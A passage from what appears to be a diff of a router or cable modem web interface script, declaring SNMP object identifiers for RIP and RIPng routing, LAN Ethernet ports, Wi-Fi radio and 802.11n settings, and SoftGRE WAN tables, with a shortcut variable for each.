Scalar("RIPAuthKeyID","1.3.6.1.4.1.4115.1.20.1.1.2.5.5",2); +RIPObjects.RIPIPAddrType= new Scalar("RIPIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.5.6",2); +RIPObjects.RIPIPAddr= new Scalar("RIPIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.5.7",4, 1); +RIPObjects.RIPPrefixLen= new Scalar("RIPPrefixLen","1.3.6.1.4.1.4115.1.20.1.1.2.5.8",66); +RIPObjects.RIPAuthKeyChain= new Scalar("RIPAuthKeyChain","1.3.6.1.4.1.4115.1.20.1.1.2.5.9",4); +RIPObjects.RIPRoutedSubnetIPType= new Scalar("RIPRoutedSubnetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.10",2); +RIPObjects.RIPRoutedSubnetIP= new Scalar("RIPRoutedSubnetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.11",4, 1); +RIPObjects.RIPRoutedSubnetGWNetIPType= new Scalar("RIPRoutedSubnetGWNetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.12",2); +RIPObjects.RIPRoutedSubnetGWNetIP= new Scalar("RIPRoutedSubnetGWNetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.13",4, 1); +RIPObjects.RIPRoutedSubnetMask= new Scalar("RIPRoutedSubnetMask","1.3.6.1.4.1.4115.1.20.1.1.2.5.14",4, 1); +RIPObjects.RIPRoutedSubnetEnabled= new Scalar("RIPRoutedSubnetEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.5.15",2); +RIPObjects.RIPSendCMInterface= new Scalar("RIPSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.16",2); +RIPObjects.RIPRoutedSubnetDHCP= new Scalar("RIPRoutedSubnetDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.5.17",2); +RIPObjects.RIPRoutedSubnetNAT= new Scalar("RIPRoutedSubnetNAT","1.3.6.1.4.1.4115.1.20.1.1.2.5.18",2); +// scm { +RIPObjects.RIPInterface= new Scalar("RIPInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.23",2); +RIPObjects.RIPSendVersion= new Scalar("RIPSendVersion","1.3.6.1.4.1.4115.1.20.1.1.2.5.20",4); +RIPObjects.RIPRecvVersion= new Scalar("RIPRecvVersion","1.3.6.1.4.1.4115.1.20.1.1.2.5.21",2); +RIPObjects.RIPDefaultMetric= new Scalar("RIPDefaultMetric","1.3.6.1.4.1.4115.1.20.1.1.2.5.22",2); + RIPObjects.RIPNeighbor= new Scalar("RIPNeighbor","1.3.6.1.4.1.4115.1.20.1.1.2.5.23",2); +// scm { +var arRIPEnable=RIPObjects.RIPEnable; +var arRIPAuthEnable=RIPObjects.RIPAuthEnable; +var arRIPReportTime=RIPObjects.RIPReportTime; +var arRIPAuthKeyString=RIPObjects.RIPAuthKeyString; +var arRIPAuthKeyID=RIPObjects.RIPAuthKeyID; +var arRIPIPAddrType=RIPObjects.RIPIPAddrType; +var arRIPIPAddr=RIPObjects.RIPIPAddr; +var arRIPPrefixLen=RIPObjects.RIPPrefixLen; +var arRIPAuthKeyChain=RIPObjects.RIPAuthKeyChain; +var arRIPRoutedSubnetIPType=RIPObjects.RIPRoutedSubnetIPType; +var arRIPRoutedSubnetIP=RIPObjects.RIPRoutedSubnetIP; +var arRIPRoutedSubnetGWNetIPType=RIPObjects.RIPRoutedSubnetGWNetIPType; +var arRIPRoutedSubnetGWNetIP=RIPObjects.RIPRoutedSubnetGWNetIP; +var arRIPRoutedSubnetMask=RIPObjects.RIPRoutedSubnetMask; +var arRIPRoutedSubnetEnabled=RIPObjects.RIPRoutedSubnetEnabled; +var arRIPSendCMInterface=RIPObjects.RIPSendCMInterface; +var arRIPRoutedSubnetDHCP=RIPObjects.RIPRoutedSubnetDHCP; +var arRIPRoutedSubnetNAT=RIPObjects.RIPRoutedSubnetNAT; + +var arRIPInterface=RIPObjects.RIPInterface; +var arRIPSendVersion=RIPObjects.RIPSendVersion; +var arRIPRecvVersion=RIPObjects.RIPRecvVersion; +var arRIPDefaultMetric=RIPObjects.RIPDefaultMetric; +var arRIPNeighbor=RIPObjects.RIPNeighbor; + + +var RIPRoutedSubnetTable = new Table("RIPRoutedSubnetTable", "1.3.6.1.4.1.4115.1.20.1.1.2.5.19"); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIndex = new Column("RIPRoutedSubnetTableIndex","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.1",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIPType = new Column("RIPRoutedSubnetTableIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.2",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIP = new Column("RIPRoutedSubnetTableIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.3",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType = new Column("RIPRoutedSubnetTableGWNetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.4",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP = new Column("RIPRoutedSubnetTableGWNetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.5",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableMask = new Column("RIPRoutedSubnetTableMask","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.6",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled = new Column("RIPRoutedSubnetTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.7",2); +RIPRoutedSubnetTable.RIPTableSendCMInterface = new Column("RIPTableSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.8",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP = new Column("RIPRoutedSubnetTableDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.9",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableNAT = new Column("RIPRoutedSubnetTableNAT","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.10",2); +var arRIPRoutedSubnetTableIndex=RIPRoutedSubnetTable.RIPRoutedSubnetTableIndex; +var arRIPRoutedSubnetTableIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableIPType; +var arRIPRoutedSubnetTableIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableIP; +var arRIPRoutedSubnetTableGWNetIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType; +var arRIPRoutedSubnetTableGWNetIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP; +var arRIPRoutedSubnetTableMask=RIPRoutedSubnetTable.RIPRoutedSubnetTableMask; +var arRIPRoutedSubnetTableEnabled=RIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled; +var arRIPTableSendCMInterface=RIPRoutedSubnetTable.RIPTableSendCMInterface; +var arRIPRoutedSubnetTableDHCP=RIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP; +var arRIPRoutedSubnetTableNAT=RIPRoutedSubnetTable.RIPRoutedSubnetTableNAT; + +var LanEtherPortTable = new Table("LanEtherPortTable", "1.3.6.1.4.1.4115.1.20.1.1.2.8"); +LanEtherPortTable.LanEtherPortIdx = new Column("LanEtherPortIdx", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.1",66); +LanEtherPortTable.LanEtherPortIFIndex = new Column("LanEtherPortIFIndex", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.2",2); +LanEtherPortTable.LanEtherPortEnabled = new Column("LanEtherPortEnabled", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.3",2); +LanEtherPortTable.LanEtherPortDuplex = new Column("LanEtherPortDuplex", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.4",2); +LanEtherPortTable.LanEtherPortSpeed = new Column("LanEtherPortSpeed", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.5",2); +LanEtherPortTable.LanEtherPortAuto = new Column("LanEtherPortAuto", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.6",2); +LanEtherPortTable.LanEtherPortHasLink = new Column("LanEtherPortHasLink", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.7",2); +var arLanEtherPortIdx=LanEtherPortTable.LanEtherPortIdx; +var arLanEtherPortIFIndex=LanEtherPortTable.LanEtherPortIFIndex; +var arLanEtherPortEnabled=LanEtherPortTable.LanEtherPortEnabled; +var arLanEtherPortDuplex=LanEtherPortTable.LanEtherPortDuplex; +var arLanEtherPortSpeed=LanEtherPortTable.LanEtherPortSpeed; +var arLanEtherPortAuto=LanEtherPortTable.LanEtherPortAuto; +var arLanEtherPortHasLink=LanEtherPortTable.LanEtherPortHasLink; + +var RIPngObjects = new Container("RIPngObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.9"); +RIPngObjects.RIPngEnable= new Scalar("RIPngEnable","1.3.6.1.4.1.4115.1.20.1.1.2.9.1",2); +RIPngObjects.RIPngAddr= new Scalar("RIPngAddr","1.3.6.1.4.1.4115.1.20.1.1.2.9.2",4, 1); +RIPngObjects.RIPngSubnetEnable= new Scalar("RIPngSubnetEnable","1.3.6.1.4.1.4115.1.20.1.1.2.9.3",2); +RIPngObjects.RIPngRoutedSubnetAddr= new Scalar("RIPngRoutedSubnetAddr","1.3.6.1.4.1.4115.1.20.1.1.2.9.4",4, 1); +RIPngObjects.RIPngRoutedSubnetPrefixLength= new Scalar("RIPngRoutedSubnetPrefixLength","1.3.6.1.4.1.4115.1.20.1.1.2.9.5",2); +RIPngObjects.RIPngSendCMInterface= new Scalar("RIPngSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.9.6",2); +var arRIPngEnable=RIPngObjects.RIPngEnable; +var arRIPngAddr=RIPngObjects.RIPngAddr; +var arRIPngSubnetEnable=RIPngObjects.RIPngSubnetEnable; +var arRIPngRoutedSubnetAddr=RIPngObjects.RIPngRoutedSubnetAddr; +var arRIPngRoutedSubnetPrefixLength=RIPngObjects.RIPngRoutedSubnetPrefixLength; +var arRIPngSendCMInterface=RIPngObjects.RIPngSendCMInterface; + +var WiFi50RadioSettings = new Container("WiFi50RadioSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.50"); +WiFi50RadioSettings.WiFi50Channel= new Scalar("WiFi50Channel","1.3.6.1.4.1.4115.1.20.1.1.3.50.1",66); +WiFi50RadioSettings.WiFi50Mode= new Scalar("WiFi50Mode","1.3.6.1.4.1.4115.1.20.1.1.3.50.2",2); +WiFi50RadioSettings.WiFi50EnableRadio= new Scalar("WiFi50EnableRadio","1.3.6.1.4.1.4115.1.20.1.1.3.50.10",2); +WiFi50RadioSettings.WiFi50OutputPower= new Scalar("WiFi50OutputPower","1.3.6.1.4.1.4115.1.20.1.1.3.50.14",2); +WiFi50RadioSettings.WiFi50HTTxStream= new Scalar("WiFi50HTTxStream","1.3.6.1.4.1.4115.1.20.1.1.3.50.21",66); +WiFi50RadioSettings.WiFi50HTRxStream= new Scalar("WiFi50HTRxStream","1.3.6.1.4.1.4115.1.20.1.1.3.50.22",66); +WiFi50RadioSettings.WiFi50EnableSTBC= new Scalar("WiFi50EnableSTBC","1.3.6.1.4.1.4115.1.20.1.1.3.50.23",2); +WiFi50RadioSettings.WiFi50EnableRDG= new Scalar("WiFi50EnableRDG","1.3.6.1.4.1.4115.1.20.1.1.3.50.24",2); +WiFi50RadioSettings.WiFi50IGMPSnooping= new Scalar("WiFi50IGMPSnooping","1.3.6.1.4.1.4115.1.20.1.1.3.50.25",2); +WiFi50RadioSettings.WiFi50WiFiBlockDFSChan= new Scalar("WiFi50WiFiBlockDFSChan","1.3.6.1.4.1.4115.1.20.1.1.3.50.26",2); +WiFi50RadioSettings.WiFi50PhysicalChannel= new Scalar("WiFi50PhysicalChannel","1.3.6.1.4.1.4115.1.20.1.1.3.50.16",2); /* kn-mib */ +var arWiFi50Channel=WiFi50RadioSettings.WiFi50Channel; +var arWiFi50Mode=WiFi50RadioSettings.WiFi50Mode; +var arWiFi50EnableRadio=WiFi50RadioSettings.WiFi50EnableRadio; +var arWiFi50OutputPower=WiFi50RadioSettings.WiFi50OutputPower; +var arWiFi50HTTxStream=WiFi50RadioSettings.WiFi50HTTxStream; +var arWiFi50HTRxStream=WiFi50RadioSettings.WiFi50HTRxStream; +var arWiFi50EnableSTBC=WiFi50RadioSettings.WiFi50EnableSTBC; +var arWiFi50EnableRDG=WiFi50RadioSettings.WiFi50EnableRDG; +var arWiFi50IGMPSnooping=WiFi50RadioSettings.WiFi50IGMPSnooping; +var arWiFi50BlockDFSChan=WiFi50RadioSettings.WiFi50WiFiBlockDFSChan; +var arWiFi50PhysicalChannel=WiFi50RadioSettings.WiFi50PhysicalChannel; /* kn-mib */ + +var WiFi50NSettings = new Container("WiFi50NSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.50.20"); +WiFi50NSettings.WiFi50HTMCS= new Scalar("WiFi50HTMCS","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.1",2); +WiFi50NSettings.WiFi50ChannelBW= new Scalar("WiFi50ChannelBW","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.2",2); +WiFi50NSettings.WiFi50NSideBand= new Scalar("WiFi50NSideBand","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.3",2); +WiFi50NSettings.WiFi50HTMode= new Scalar("WiFi50HTMode","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.4",2); +WiFi50NSettings.WiFi50GuardInterval= new Scalar("WiFi50GuardInterval","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.5",2); +WiFi50NSettings.WiFi50AMSDUEnable= new Scalar("WiFi50AMSDUEnable","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.6",2); +WiFi50NSettings.WiFi50DeclinePeerBA= new Scalar("WiFi50DeclinePeerBA","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.7",2); +WiFi50NSettings.WiFi50BlockAck= new Scalar("WiFi50BlockAck","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.8",2); +WiFi50NSettings.WiFi50NProtection= new Scalar("WiFi50NProtection","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.9",2); +WiFi50NSettings.WiFi50Allow40MHzOnlyOperation= new Scalar("WiFi50Allow40MHzOnlyOperation","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.10",2); +var arWiFi50HTMCS=WiFi50NSettings.WiFi50HTMCS; +var arWiFi50ChannelBW=WiFi50NSettings.WiFi50ChannelBW; +var arWiFi50NSideBand=WiFi50NSettings.WiFi50NSideBand; +var arWiFi50HTMode=WiFi50NSettings.WiFi50HTMode; +var arWiFi50GuardInterval=WiFi50NSettings.WiFi50GuardInterval; +var arWiFi50AMSDUEnable=WiFi50NSettings.WiFi50AMSDUEnable; +var arWiFi50DeclinePeerBA=WiFi50NSettings.WiFi50DeclinePeerBA; +var arWiFi50BlockAck=WiFi50NSettings.WiFi50BlockAck; +var arWiFi50NProtection=WiFi50NSettings.WiFi50NProtection; +var arWiFi50Allow40MHzOnlyOperation=WiFi50NSettings.WiFi50Allow40MHzOnlyOperation; + +var WirelessCfg = new Container("WirelessCfg", "1.3.6.1.4.1.4115.1.20.1.1.3"); +WirelessCfg.WiFiCountry= new Scalar("WiFiCountry","1.3.6.1.4.1.4115.1.20.1.1.3.1",4); +WirelessCfg.WiFiChannel= new Scalar("WiFiChannel","1.3.6.1.4.1.4115.1.20.1.1.3.2",66); +WirelessCfg.WiFiMode= new Scalar("WiFiMode","1.3.6.1.4.1.4115.1.20.1.1.3.3",2); +WirelessCfg.WiFiBGProtect= new Scalar("WiFiBGProtect","1.3.6.1.4.1.4115.1.20.1.1.3.4",2); +WirelessCfg.WiFiBeaconInterval= new Scalar("WiFiBeaconInterval","1.3.6.1.4.1.4115.1.20.1.1.3.5",66); +WirelessCfg.WiFiDTIMInterval= new Scalar("WiFiDTIMInterval","1.3.6.1.4.1.4115.1.20.1.1.3.6",66); +WirelessCfg.WiFiTxPreamble= new Scalar("WiFiTxPreamble","1.3.6.1.4.1.4115.1.20.1.1.3.7",2); +WirelessCfg.WiFiRTSThreshold= new Scalar("WiFiRTSThreshold","1.3.6.1.4.1.4115.1.20.1.1.3.8",66); +WirelessCfg.WiFiFragmentThresh= new Scalar("WiFiFragmentThresh","1.3.6.1.4.1.4115.1.20.1.1.3.9",66); +WirelessCfg.WiFiShortSlot= new Scalar("WiFiShortSlot","1.3.6.1.4.1.4115.1.20.1.1.3.10",2); +WirelessCfg.WiFiFrameBurst= new Scalar("WiFiFrameBurst","1.3.6.1.4.1.4115.1.20.1.1.3.11",2); +WirelessCfg.WiFiEnableRadio= new Scalar("WiFiEnableRadio","1.3.6.1.4.1.4115.1.20.1.1.3.12",2); +WirelessCfg.WiFiTxPower= new Scalar("WiFiTxPower","1.3.6.1.4.1.4115.1.20.1.1.3.13",2); +WirelessCfg.WiFiShortRetryLimit= new Scalar("WiFiShortRetryLimit","1.3.6.1.4.1.4115.1.20.1.1.3.14",2); +WirelessCfg.WiFiLongRetryLimit= new Scalar("WiFiLongRetryLimit","1.3.6.1.4.1.4115.1.20.1.1.3.15",2); +WirelessCfg.WiFiOutputPower= new Scalar("WiFiOutputPower","1.3.6.1.4.1.4115.1.20.1.1.3.16",2); +WirelessCfg.WiFiMulticastA= new Scalar("WiFiMulticastA","1.3.6.1.4.1.4115.1.20.1.1.3.17",2); +WirelessCfg.WiFiMulticastBG= new Scalar("WiFiMulticastBG","1.3.6.1.4.1.4115.1.20.1.1.3.18",2); +WirelessCfg.WiFiBasicRateSet= new Scalar("WiFiBasicRateSet","1.3.6.1.4.1.4115.1.20.1.1.3.19",2); +WirelessCfg.WiFiTxRate= new Scalar("WiFiTxRate","1.3.6.1.4.1.4115.1.20.1.1.3.20",2); +WirelessCfg.WiFiResetDefaults= new Scalar("WiFiResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.3.32",2); +WirelessCfg.WiFiEnableRadioNow= new Scalar("WiFiEnableRadioNow","1.3.6.1.4.1.4115.1.20.1.1.3.33",2); +WirelessCfg.WiFiCustomSSIDStr= new Scalar("WiFiCustomSSIDStr","1.3.6.1.4.1.4115.1.20.1.1.3.34",4); +WirelessCfg.WiFiReset= new Scalar("WiFiReset","1.3.6.1.4.1.4115.1.20.1.1.3.35",2); +WirelessCfg.WiFiUseSNForPSK= new Scalar("WiFiUseSNForPSK","1.3.6.1.4.1.4115.1.20.1.1.3.36",2); +WirelessCfg.WiFiRadioControlMode= new Scalar("WiFiRadioControlMode","1.3.6.1.4.1.4115.1.20.1.1.3.37",2); +WirelessCfg.WiFiAutoChannelTime= new Scalar("WiFiAutoChannelTime","1.3.6.1.4.1.4115.1.20.1.1.3.38",2); +WirelessCfg.WiFiUtilityCommand= new Scalar("WiFiUtilityCommand","1.3.6.1.4.1.4115.1.20.1.1.3.40",4); +WirelessCfg.WiFiUtilityCommandOutput= new Scalar("WiFiUtilityCommandOutput","1.3.6.1.4.1.4115.1.20.1.1.3.41",4); +WirelessCfg.WiFiPhysicalChannel= new Scalar("WiFiPhysicalChannel","1.3.6.1.4.1.4115.1.20.1.1.3.43",2); +WirelessCfg.WiFiTxPowerPhysical= new Scalar("WiFiTxPowerPhysical","1.3.6.1.4.1.4115.1.20.1.1.3.44",2); +WirelessCfg.WiFiShortSlotEnhanced= new Scalar("WiFiShortSlotEnhanced","1.3.6.1.4.1.4115.1.20.1.1.3.45",2); +WirelessCfg.WiFiInterferencePhyLayer= new Scalar("WiFiInterferencePhyLayer","1.3.6.1.4.1.4115.1.20.1.1.3.47",2); +WirelessCfg.WiFiInterferenceDriverLayer= new Scalar("WiFiInterferenceDriverLayer","1.3.6.1.4.1.4115.1.20.1.1.3.48",2); +WirelessCfg.WiFiChannelsInterferenceState= new Scalar("WiFiChannelsInterferenceState","1.3.6.1.4.1.4115.1.20.1.1.3.49",4); +WirelessCfg.WiFiExtensionChannel= new Scalar("WiFiExtensionChannel","1.3.6.1.4.1.4115.1.20.1.1.3.64",66); +WirelessCfg.WiFiHTTxStream= new Scalar("WiFiHTTxStream","1.3.6.1.4.1.4115.1.20.1.1.3.55",66); +WirelessCfg.WiFiHTRxStream= new Scalar("WiFiHTRxStream","1.3.6.1.4.1.4115.1.20.1.1.3.56",66); +WirelessCfg.WiFiEnableSTBC= new Scalar("WiFiEnableSTBC","1.3.6.1.4.1.4115.1.20.1.1.3.57",2); +WirelessCfg.WiFiEnableRDG= new Scalar("WiFiEnableRDG","1.3.6.1.4.1.4115.1.20.1.1.3.58",2); +WirelessCfg.WiFiIGMPSnooping= new Scalar("WiFiIGMPSnooping","1.3.6.1.4.1.4115.1.20.1.1.3.59",2); +var arWiFiCountry=WirelessCfg.WiFiCountry; +var arWiFiChannel=WirelessCfg.WiFiChannel; +var arWiFiMode=WirelessCfg.WiFiMode; +var arWiFiBGProtect=WirelessCfg.WiFiBGProtect; +var arWiFiBeaconInterval=WirelessCfg.WiFiBeaconInterval; +var arWiFiDTIMInterval=WirelessCfg.WiFiDTIMInterval; +var arWiFiTxPreamble=WirelessCfg.WiFiTxPreamble; +var arWiFiRTSThreshold=WirelessCfg.WiFiRTSThreshold; +var arWiFiFragmentThresh=WirelessCfg.WiFiFragmentThresh; +var arWiFiShortSlot=WirelessCfg.WiFiShortSlot; +var arWiFiFrameBurst=WirelessCfg.WiFiFrameBurst; +var arWiFiEnableRadio=WirelessCfg.WiFiEnableRadio; +var arWiFiTxPower=WirelessCfg.WiFiTxPower; +var arWiFiShortRetryLimit=WirelessCfg.WiFiShortRetryLimit; +var arWiFiLongRetryLimit=WirelessCfg.WiFiLongRetryLimit; +var arWiFiOutputPower=WirelessCfg.WiFiOutputPower; +var arWiFiMulticastA=WirelessCfg.WiFiMulticastA; +var arWiFiMulticastBG=WirelessCfg.WiFiMulticastBG; +var arWiFiBasicRateSet=WirelessCfg.WiFiBasicRateSet; +var arWiFiTxRate=WirelessCfg.WiFiTxRate; +var arWiFiResetDefaults=WirelessCfg.WiFiResetDefaults; +var arWiFiEnableRadioNow=WirelessCfg.WiFiEnableRadioNow; +var arWiFiCustomSSIDStr=WirelessCfg.WiFiCustomSSIDStr; +var arWiFiReset=WirelessCfg.WiFiReset; +var arWiFiUseSNForPSK=WirelessCfg.WiFiUseSNForPSK; +var arWiFiRadioControlMode=WirelessCfg.WiFiRadioControlMode; +var arWiFiAutoChannelTime=WirelessCfg.WiFiAutoChannelTime; +var arWiFiUtilityCommand=WirelessCfg.WiFiUtilityCommand; +var arWiFiUtilityCommandOutput=WirelessCfg.WiFiUtilityCommandOutput; +var arWiFiPhysicalChannel=WirelessCfg.WiFiPhysicalChannel; +var arWiFiTxPowerPhysical=WirelessCfg.WiFiTxPowerPhysical; +var arWiFiShortSlotEnhanced=WirelessCfg.WiFiShortSlotEnhanced; +var arWiFiInterferencePhyLayer=WirelessCfg.WiFiInterferencePhyLayer; +var arWiFiInterferenceDriverLayer=WirelessCfg.WiFiInterferenceDriverLayer; +var arWiFiChannelsInterferenceState=WirelessCfg.WiFiChannelsInterferenceState; +var arWiFiExtensionChannel=WirelessCfg.WiFiExtensionChannel; +var arWiFiHTTxStream=WirelessCfg.WiFiHTTxStream; +var arWiFiHTRxStream=WirelessCfg.WiFiHTRxStream; +var arWiFiEnableSTBC=WirelessCfg.WiFiEnableSTBC; +var arWiFiEnableRDG=WirelessCfg.WiFiEnableRDG; +var arWiFiIGMPSnooping=WirelessCfg.WiFiIGMPSnooping; + +var WiFi80211NSettings = new Container("WiFi80211NSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.21"); +WiFi80211NSettings.WiFi80211NBand= new Scalar("WiFi80211NBand","1.3.6.1.4.1.4115.1.20.1.1.3.21.1",2); +WiFi80211NSettings.WiFiHTMCS= new Scalar("WiFiHTMCS","1.3.6.1.4.1.4115.1.20.1.1.3.21.2",2); +WiFi80211NSettings.WiFiChannelBW= new Scalar("WiFiChannelBW","1.3.6.1.4.1.4115.1.20.1.1.3.21.3",2); +WiFi80211NSettings.WiFi80211NSideBand= new Scalar("WiFi80211NSideBand","1.3.6.1.4.1.4115.1.20.1.1.3.21.4",2); +WiFi80211NSettings.WiFiHTMode= new Scalar("WiFiHTMode","1.3.6.1.4.1.4115.1.20.1.1.3.21.5",2); +WiFi80211NSettings.WiFiGuardInterval= new Scalar("WiFiGuardInterval","1.3.6.1.4.1.4115.1.20.1.1.3.21.6",2); +WiFi80211NSettings.WiFiAMSDUEnable= new Scalar("WiFiAMSDUEnable","1.3.6.1.4.1.4115.1.20.1.1.3.21.7",2); +WiFi80211NSettings.WiFiDeclinePeerBA= new Scalar("WiFiDeclinePeerBA","1.3.6.1.4.1.4115.1.20.1.1.3.21.8",2); +WiFi80211NSettings.WiFiBlockAck= new Scalar("WiFiBlockAck","1.3.6.1.4.1.4115.1.20.1.1.3.21.9",2); +WiFi80211NSettings.WiFiNProtection= new Scalar("WiFiNProtection","1.3.6.1.4.1.4115.1.20.1.1.3.21.10",2); +var arWiFi80211NBand=WiFi80211NSettings.WiFi80211NBand; +var arWiFiHTMCS=WiFi80211NSettings.WiFiHTMCS; +var arWiFiChannelBW=WiFi80211NSettings.WiFiChannelBW; +var arWiFi80211NSideBand=WiFi80211NSettings.WiFi80211NSideBand; +var arWiFiHTMode=WiFi80211NSettings.WiFiHTMode; +var arWiFiGuardInterval=WiFi80211NSettings.WiFiGuardInterval; +var arWiFiAMSDUEnable=WiFi80211NSettings.WiFiAMSDUEnable; +var arWiFiDeclinePeerBA=WiFi80211NSettings.WiFiDeclinePeerBA; +var arWiFiBlockAck=WiFi80211NSettings.WiFiBlockAck; +var arWiFiNProtection=WiFi80211NSettings.WiFiNProtection; + + +var RouterSoftGreWanTable = new Table("RouterSoftGreWanTable", "1.3.6.1.4.1.4115.1.20.1.1.1.19.1"); +RouterSoftGreWanTable.SoftGreWanEnable = new Column("SoftGreWanEnable","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.1",2,1); +RouterSoftGreWanTable.SoftGreMappedInterface = new Column("SoftGreMappedInterface","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.2",66); +RouterSoftGreWanTable.SoftGreWanDscp = new Column("SoftGreWanDscp","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.19",2,1); +RouterSoftGreWanTable.FailoverPingCount = new Column("FailoverPingCount","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.7",2, 1); +RouterSoftGreWanTable.FailoverPingInterval = new Column("FailoverPingInterval","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.8",2, 1); +RouterSoftGreWanTable.FailoverThreshold = new Column("FailoverThreshold","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.9",2, 1); +//RouterSoftGreWanTable.DNSRetryTimer = new Column("DNSRetryTimer","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.20",2, 1); +RouterSoftGreWanTable.CircuitIdEnabled = new Column("CircuitIdEnabled","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.10",2); +RouterSoftGreWanTable.RemoteIdEnabled = new Column("RemoteIdEnabled","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.11",2); +RouterSoftGreWanTable.MaxSessions = new Column("MaxSessions","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.3",2); +RouterSoftGreWanTable.ControllerFqdn = new Column("ControllerFqdn","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.4",4); +RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType = new Column("ControllerProvisionedSecondaryIpAddressType","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.5",1); +RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress = new Column("ControllerProvisionedSecondaryIpAddress","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.6",4); +RouterSoftGreWanTable.ControllerCurrentIpAddressType = new Column("ControllerCurrentIpAddressType","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.21",1); +RouterSoftGreWanTable.ControllerCurrentIpAddress = new Column("ControllerCurrentIpAddress","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.22",4); + +var arGreWanSoftGreWanEnable=RouterSoftGreWanTable.SoftGreWanEnable; +var arGreWanSoftGreMappedInterface=RouterSoftGreWanTable.SoftGreMappedInterface; +var arGreWanSoftGreWanDscp=RouterSoftGreWanTable.SoftGreWanDscp; +var arGreWanFailoverPingCount=RouterSoftGreWanTable.FailoverPingCount; +var arGreWanFailoverPingInterval=RouterSoftGreWanTable.FailoverPingInterval; +var arGreWanFailoverThreshold=RouterSoftGreWanTable.FailoverThreshold; +//var arGreWanDNSRetryTimer=RouterSoftGreWanTable.DNSRetryTimer; +var arGreWanCircuitIdEnabled=RouterSoftGreWanTable.CircuitIdEnabled; +var arGreWanRemoteIdEnabled=RouterSoftGreWanTable.RemoteIdEnabled; +var arGreMaxSessions=RouterSoftGreWanTable.MaxSessions; +var arGreWanControllerFqdn=RouterSoftGreWanTable.ControllerFqdn; +var arGreWanControllerProvisionedSecondaryIpAddressType=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType; +var arGreWanControllerProvisionedSecondaryIpAddress=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress; +var arGreWanControllerCurrentIpAddressType=RouterSoftGreWanTable.ControllerCurrentIpAddressType; +var arGreWanControllerControllerCurrentIpAddress=RouterSoftGreWanTable.ControllerCurrentIpAddress; + +var RouterSoftGreSSIDTable = new Table("RouterSoftGreSSIDTable", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2"); +RouterSoftGreSSIDTable.SoftGreVLanId = new Column("SoftGreVLanId", 